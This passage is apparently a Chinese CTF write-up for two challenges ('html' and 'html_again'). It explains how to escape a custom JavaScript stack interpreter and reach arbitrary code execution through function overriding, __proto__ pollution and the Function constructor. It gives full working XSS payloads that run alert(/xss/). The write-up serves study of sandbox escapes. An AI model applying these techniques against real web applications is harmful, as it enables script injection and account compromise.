。"data": function (elt, env) { // push number onto stack env.stack.push(Number.parseFloat(elt.innerText)); }, "ol": function (elt, env) { // create list let children = elt.children; let initialLength = env.stack.length; let result = []; for (const child of children) { exec(child.firstElementChild, child, env); result.push(env.stack.pop()); env.stack.length = initialLength; } env.stack.push(result); }, "dd": function (elt, env) { // add two numbers on top of stack let top = env.stack.pop(); let next = env.stack.pop(); if (typeof top !== "number" || typeof next !== "number") { console.error("Cannot add ", top, " and ", next); return null; } env.stack.push(next + top); }, ...
有什么地方调用了
env.stack.push
却没有检查数据类型呢?有!function defineFunctions(sourceOrElt, env) { ... env.scope.functions[funcName] = function () { var args = Array.from(arguments); let env = makeEnv(); env.stack.push(...args); if (definition.firstElementChild) { exec(definition.firstElementChild, definition, env); } let val = env.stack.pop(); return val; }; } }
在
defineFunctions
中自定义的函数会在一开始将传入的参数push进env.stack
,而这里没有对数据类型进行检查。但是
commands.a
中调用自定义函数的时候参数依旧来自env.stack
,有没有什么地方调用了自定义函数但是参数不是来自env.stack
的呢?我们注意到如下代码
"dl": function (elt, env) { // debug output env.functions.out(elt.innerText, "stack:", env.stack, "vars:", env.scope) },
虽然
env.functions.out
是题目一开始定义好的,但是在defineFunctions
中,如果让functionName='out'
的话,我们是能够将其覆盖成我们自定义的函数,于是向env.scope.functions[functionName]
传入一个字符串在这里是可能的。于是我们定义一个自定义函数
out
,使用commands.dl
向out
传递payload
字符串,在out
里覆盖env.scope.functions.__proto_\_
,将out
多余的参数从env.stack
中pop掉,留payload
在env.stack
顶部,然后使用commands.a
调用env.scope.functions.constructor
。"a": function (elt, env) { // either jump or invoke a function ... let result = null; result = env.scope.functions[functionName](...args); if (typeof result != "undefined") { env.stack.push(result); } }
此时执行
result = env.scope.functions[functionName](...args)
实际执行了result = Function(payload)
,并且此后将result
推入了env.stack
中 -
调用Function返回的自定义函数
成功得到
Function(payload)
后我们需要考虑如何去调用它,因为解释器代码中只有env.scope.functions[functionName]
才能被当作函数调用,所以我们还是只能打env.scope.functions
的主意函数类对象继承自
Function.prototype
有一个call
方法,可以通过这个方法来调用函数,比如Function('return 1+1').call() // 2
如果能够覆盖
env.scope.functions
为Function(payload)
,那么在commands.a
中令functionName='call'
,调用env.scope.functions[functionName]
就相当于调用Function(payload).call()
恰巧
commands.var
能够覆盖env.scope中任意成员为env.stack中的对象"var": function (elt, env) { let topOfStack = env.stack.pop(); let variableName = elt.innerText; if (isBlacklisted(variableName)) { console.error("Cannot store ", variableName); return null; } env.scope[variableName] = topOfStack; },
至此已经能够执行任意JS代码实现XSS了
验证载荷
<main id="main">
<dfn id="out"> // 1. 覆盖env.scope.functions.out
<main>
<dfn id="__proto__"> // 3. 覆盖env.scope.functions.__output__
</dfn>
<del></del> // 4.1 env.stack.pop 掉 env.scope
<del></del> // 4.2 env.stack.pop 掉 "vars:"
<del></del> // 4.3 env.stack.pop 掉 env.stack
<del></del> // 4.4 env.stack.pop 掉 "stack"
<output></output>
<var>a</var> // 5. env.scope['a'] = 'alert(/xss/)'
<a href="html:constructor()"> // 6. 调用 env.scope.functions.constructor, 返回值result入栈
<cite>a</cite> // 6.1 将env.scope['a']入栈作为env.scope.functions.constructor的参数
</a>
<var>functions</var> // 7. 覆盖 env.scope['functions'] = result = Function('alert(/xss/)')
<a href="html:call()"></a> // 8. 调用 env.scope.functions.call 即Function('alert(/xss/)').call()
</main>
</dfn>
<dl>alert(/xss/)</dl> // 2. 调用env.scope.functions.out('alert(/xss/)','stack:',env.stack,'vars:',env.scope), 参数依次入栈
</main>
html_again
理解题目
本题源码和上一题基本一致,不同之处有这么几个
-
所有
env.scope.functions
变成了env.functions
-
commands.cite
有如下变更"cite": function (elt, env) { // loads a variable let variableName = elt.innerText; //--- if (isBlacklisted(variableName)) { if (isBlacklisted(variableName) || !(env.scope.hasOwnProperty(variableName) || global.hasOwnProperty(variableName))) { console.error("Cannot load ", variableName); return null; } env.stack.push(env.scope[variableName] || global[variableName]); },
解题思路
由于题目的第1点改动,上一题 验证载荷 第8步在本题环境中调用的是env.functions.call
,而第7步result
写入的还是env.scope['functions']
,导致不能直接触发payload
关注到题目的第2点改动,多了env.scope.hasOwnProperty(variableName)
,那么我们是不是可以把上一题 验证载荷 第7步env.scope['function']=result
改动为env.scope['hasOwnProperty']=result
,然后第8步就能直接调用commands.cite
执行env.scope['hasOwnProperty'](variableName)
,即Function('alert(/xss/)')(variableName)
,直接搞定。
验证载荷
<main id="main">
<dfn id="out">
<main>
<dfn id="__proto__"> </dfn>
<del></del>
<del></del>
<del></del>
<del></del>
<var>a</var>
<a href="html:constructor()">
<cite>a</cite>
</a>
<var>hasOwnProperty</var>
<cite></cite>
</main>
</dfn>
<dl>alert(/xss/)</dl>
</main>